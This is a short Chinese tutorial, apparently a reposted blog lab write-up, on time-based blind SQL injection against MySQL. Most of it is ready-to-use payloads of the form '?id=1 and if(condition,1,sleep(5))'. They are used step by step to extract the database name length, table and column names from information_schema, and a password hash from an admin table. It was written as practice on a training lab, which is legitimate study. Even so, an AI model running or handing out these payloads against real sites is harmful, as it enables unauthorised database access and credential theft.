大哥带我们的mysql注入 基于时间的盲注

?id=1 and if(length((select database()))>4,1,sleep(5))
?id=1 and if(length((select database()))>3,1,sleep(5))

if语句/if()函数

在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确:

?id=1 and 1=2
?id=1 and 1=1

返回的都是同一个页面

用测试语句 and sleep(5) 判断 是否存在时间盲注

构造语句

?id=1 and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))

这句话的意思是如果返回的事错误 那我就sleep(5)秒

好的我们的语句构造成功

0X01爆数据库长度

?id=1 and if(length((select database()))>125111,1,sleep(5))

?id=1 and if(length((select database()))>3,1,sleep(5)) 0.1
?id=1 and if(length((select database()))>4,1,sleep(5))  5.12秒响应

那么我们可以判断我们的数据库长度是4

好的那么我们接下来开始爆破表名

语句构造 查看第一个字母  1秒

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>10,1,sleep(5))

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))

响应5秒为错误的 那么ascii应该小于100

最后我们报出来为admin

0X02爆字段名

构造语句

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>1,1,sleep(5))  1秒

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1))>1000,1,sleep(5))  5秒

那么我们逐步拆解就好

0X04爆破字段名

?id=1 and if(ascii(substr((select password from admin limit 0,1),1,1))>1,1,sleep(5))  1秒
?id=1 and if(ascii(substr((select password from admin limit 0,1),1,1))>1000,1,sleep(5))  5秒

那我们可以得到我们的password的字段值561465sd1561465165156165 MD5

谢谢大哥搭的靶场 多学多思

原文地址:https://www.cnblogs.com/-zhong/p/10931563.html